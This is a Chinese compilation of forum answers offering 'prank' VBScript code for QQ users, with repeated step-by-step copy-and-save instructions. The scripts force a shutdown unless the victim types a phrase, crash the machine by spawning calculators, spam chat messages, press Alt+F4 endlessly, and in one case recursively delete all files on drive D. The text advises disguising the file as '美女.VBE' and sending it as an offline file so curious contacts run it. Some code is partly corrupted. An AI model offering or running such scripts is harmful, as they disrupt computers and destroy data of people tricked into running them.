下面的复制到记事本，另存为的时候选所有文件最后保存为
zr.vbeon error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
Ⅱ QQ空间整人代码和导航小人(默林)怎么弄
整人代码:
<iframe name="I1" src="http://blog.lanyue.com/upload/user/58/388916_2905107.txt" width="200" height="250">
</iframe>
<iframe name="I1" src="http://blog.lanyue.com/upload/user/58/388916_2901934.txt" width="200" height="250">
</iframe>
导航小人(默林)
新建TXT文档，写下以下HTML代码
<HTML>
<HEAD><TITLE>????欢迎您!？?？</TITLE>
<BODY oncontextmenu=self.event.returnValue=false>
<SCRIPT>
var oPopup = window.createPopup();
var popTop=50;
function popmsg(msgstr){
var winstr="<table style=\"border: 1 solid #000000\" width=\"230\" height=\"176\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" background=\"http://bbs.crsky.com/1113657522/Fid_12/12_127572.gif\" >";
winstr+="<tr><td height=\"30\"> </td></tr><tr><td align=\"center\"><table width=\"90%\" height=\"110\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">";
winstr+="<tr><td valign=\"top\" style=\"font-size:12px; color: #ffffff; face: Tahoma\">"+msgstr+"</td></tr></table></td></tr></table>";
oPopup.document.body.innerHTML = winstr;
popshow();
}
function popshow(){
window.status=popTop;
if(popTop>1720){
clearTimeout(mytime);
oPopup.hide();
return;
}else if(popTop>1520&&popTop<1720){
oPopup.show(screen.width-250,screen.height,241,1720-popTop);
}else if(popTop>1500&&popTop<1520){
oPopup.show(screen.width-250,screen.height+(popTop-1720),241,172);
}else if(popTop<180){
oPopup.show(screen.width-250,screen.height,241,popTop);
}else if(popTop<220){
oPopup.show(screen.width-250,screen.height-popTop,241,172);
}
popTop+=10;
var mytime=setTimeout("popshow();",100);
}
popmsg(" <P><FONT color=#09f709>欢迎光临<P>请记住我们的网址http://</FONT> ");
</SCRIPT>
</body>
<SCRIPT>
<!--
function crml(nid)
{
try
{
nid=new ActiveXObject("Agent.Control.2");
nid.Connected = true;
nid.Characters.Load("");
return nid;
}
catch (err)
{
return false;
}
}
function chplay ()
{
if (ml=crml ("ml"))
{
var MerlinID;
var MerlinACS;
Merlin = ml.Characters.Character(MerlinID);
Merlin.MoveTo(200,200);
Merlin.Show();
Merlin.Play("Explain");
Merlin.Play("Announce");
Merlin.Speak("欢迎您来");
Merlin.Play("Gestureright");
Merlin.Play("Pleased");
Merlin.Speak("我的网址请记住");
Merlin.Play("Idle1_1");
Merlin.Hide();
Merlin.MoveTo(600,300);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Speak("请四处看看！");
Merlin.Play("Read");
Merlin.Speak("帮忙灌下水哦!!再发表一点点意见");
Merlin.Play("Read")
Merlin.Play("GestureUp");
Merlin.Speak("如果您看的上的我帖子的话。尽管转走");
Merlin.Play("DontRecognize");
Merlin.Speak("感谢您的到来！");
Merlin.Play("DontRecognize");
Merlin.Play("Greet");
Merlin.Speak("你的每一次到来");
Merlin.Play("Read");
Merlin.Speak("我都会在这里祝福你");
Merlin.Play("Gestureright");
Merlin.Play("Pleased");
Merlin.Speak("你的支持.才是我的动力");
Merlin.Play("Idle1_1");
Merlin.Hide();
Merlin.MoveTo(600,300);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Play("DontRecognize");
Merlin.Play("Greet");
Merlin.Speak("快给我点好的意见把`.或者联系我");
Merlin.Play("DontRecognize");
Merlin.Play("Greet");
Merlin.Speak("如果喜欢我的空间！您可以加为关注");
Merlin.Play("Read");
Merlin.Play("Greet");
Merlin.Hide();
Merlin.MoveTo(500,300);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Speak("以后要常来哟`更多好玩的等着你");
Merlin.Play("Surprised");
Merlin.Speak("我在这里祝您天天开心");
Merlin.Play("Read");
Merlin.Speak("88!下次再见.以后");
Merlin.Play("Greet");
Merlin.Play("Surprised");
Merlin.Hide();
}
}
//-->
</SCRIPT>
<SCRIPT>
<!--
chplay()
-->
</SCRIPT>
<SCRIPT language=JavaScript><!--
function getCookieVal(offset)
{var endstr=document.cookie.indexOf(";",offset);if(endstr==-1)
endstr=document.cookie.length;return unescape(document.cookie.substring(offset,endstr));}function GetCookie(name)
{var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i<clen)
{var j=i+alen;if(document.cookie.substring(i,j)==arg)
return getCookieVal(j);i=document.cookie.indexOf(" ",i)+1;if(i==0)
break;
}return null;}function SetCookie(name,value)
{var argv=SetCookie.arguments;var argc=SetCookie.arguments.length;var expires=(2<argc)?argv[2]:null;var path=(3<argc)?argv[3]:null;var domain=(4<argc)?argv[4]:null;var secure=(5<argc)?argv[5]:false;document.cookie=name+"="+escape(value)+((expires==null)?"":("; expire*="+**pires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"");}function ResetCounts(name)
{visits=0;SetCookie("visits",visit*,**pdate,"/",null,false);location.reload();}
//-->
</SCRIPT>
</HEAD>
</body>
</html>
然后保存上传，图中中文字为可修改,在评论里加上<iframe id="main" name="I8" frameBorder="0" width="0" scrolling="no" height="0" src="你上传txt文档得到的地址"></iframe>
你可以直接将这个↓代码放进评论,其余地方留空,不用编辑:
<iframe id="main" name="I8" frameBorder="0" width="0" scrolling="no" height="0" src="http://tree222.blogchina.com/inc/lao.txt"></iframe>
Ⅲ QQ整人关机代码
下面的复制到记事本，另存为的时候选所有文件最后保存为
zr.vbeon error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
Ⅳ 安卓手机整人代码，可以强制关机的
现在的android系统不会给你的app可以关机的权限，除非手机root了
Ⅳ 手机qq整人代码
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
还有个更加恶毒的，不在线的QQ好友你可以向他们发送QQ离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了
你自己也可以测试一下这个QQ炸弹的威力。
Ⅵ 我要QQ聊天的恶搞代码
首先你在要建一个文本文档（在桌面点右键
--
新建
--
文本文档）把下面的你想要的代码复制
到文本文档
好
保存
把名字
txt
改成
vbs
就
OK
vbs
整人代码大集合
一、
你打开好友的聊天对话框
,
然后记下在你
QQ
里好友的昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送
QQ
信息到好友的次数
(
代码里的数字
10
改一下即可
).
xx.vbs=>
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("
与
xx
聊天中
")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
QQ
骚扰信息
,
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
五、删除
D:\
所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "
哈哈
你被耍了！
"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
七、不断按下
alt+f4
（开什么都关闭„„）
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
八、按
500
次回车
(
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
，
500
可以随意更改
)
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "
哥们，给我按
500
次回车吧
",64
loop
'------------------------ ------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo("
嘿，谢谢你打开我哦，我等你很久
拉！
"&TSName)
WScript.Echo("
你是可爱的小朋吗
?")
WScript.Echo("
哈
,
我想你拉，这你都不知道吗？
")
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
[color=#FF0000]
复制以这个代码，在桌面建一个文本，把代码放进去，另存为
VBS
格式，
此代码的威力：
1
：开机就强制自动关机
2
：
cmd
命令打不开
3
：结束任务不管用
4
：
F8
安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第
2
次保存的那个
VBE
文件，
，
PS
：不要乱拿软件去整人，发生什么事可不要怪我啊。
。
拍拍手
顶起吧！
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
恐怖啊
整人
小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'
声明变量，其中“
count
”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'
定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'
生成文件的内容
nr = "
哈哈，被黑的感觉的不错吧
"
files = FreeFile
'
如果
a
等于
a
那么就执行
If a = a Then
'count
不断的加
1
，以便产生不同的文件名
count = count + 1
'
产生文件名及文件句柄，并用
count
作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'
向文件写内容
Write #files, nr
'
清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub
Ⅶ 手机qq整人代码大全谁有 发一下 谢谢
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
Ⅷ qq整人代码
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is
me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
WScript.Echo("30")
WScript.Echo("29")
WScript.Echo("28")
WScript.Echo("呵呵，骗你的，我也累了，88")
WScript.Echo("还是在耍你")
WScript.Echo("你不想活了？")
WScript.Echo("打开这个？")
WScript.Echo("无语中……")
WScript.Echo("嘿。谁让你点确定的？")
WScript.Echo("我还想多耍你一会儿呢！")
WScript.Echo("我准备问你一个问题")
-----------下面别复制--------------------
纯
本
人
设
计
Ⅸ 现在QQ流行的整蛊代码 网警33652 是什么搞的
是一个聊天机器人实现的。已经不能用了。
Ⅹ 手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关内你机，不信，容试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）